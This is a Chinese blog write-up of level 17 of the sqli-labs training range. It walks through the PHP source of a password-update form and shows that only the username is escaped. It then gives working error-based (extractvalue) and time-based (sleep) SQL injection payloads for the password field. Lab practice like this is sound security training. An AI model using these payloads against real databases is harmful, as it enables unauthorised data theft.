靶场练习-Sqli-labs通关记录(post型)(17关)
0x00 实验环境
本地:Win 10
靶场:sqli-labs(共65关,每日一关)
0x02 通关记录
简介:一天一关!
(17)第十七关:
单独把第十七关拿出来是因为好接上文中:php内一些可以防止注入的函数
我们首先看一下源代码:
function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,20); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; }
源码中有个check_input函数,这里是使用了转义的,对value值进行了转义,所以我们需要再看看这个注入题哪里调用了这个check函数:
发现仅仅是对uname进行了注入防御,所以我们就可以开始绕过了。
查看源代码:
// connectivity @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
看的语句不是上面的,因为这是个更新密码的注入点
if($row) { //echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>";
因为只对uname进行绕过,所以跟之前的关卡一样,只需要对passwd字段构造注入语句即可,同时需要使用逗号来闭合,先试试报错注入,如果无法报错,就试试延时注入:
123' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
发现报错,也可以尝试一下延时注入:
123' and If(ascii(substr(database(),1,1))=111,1,sleep(7))#
这道题用延时注入不太好注,所以建议使用报错注入比较好!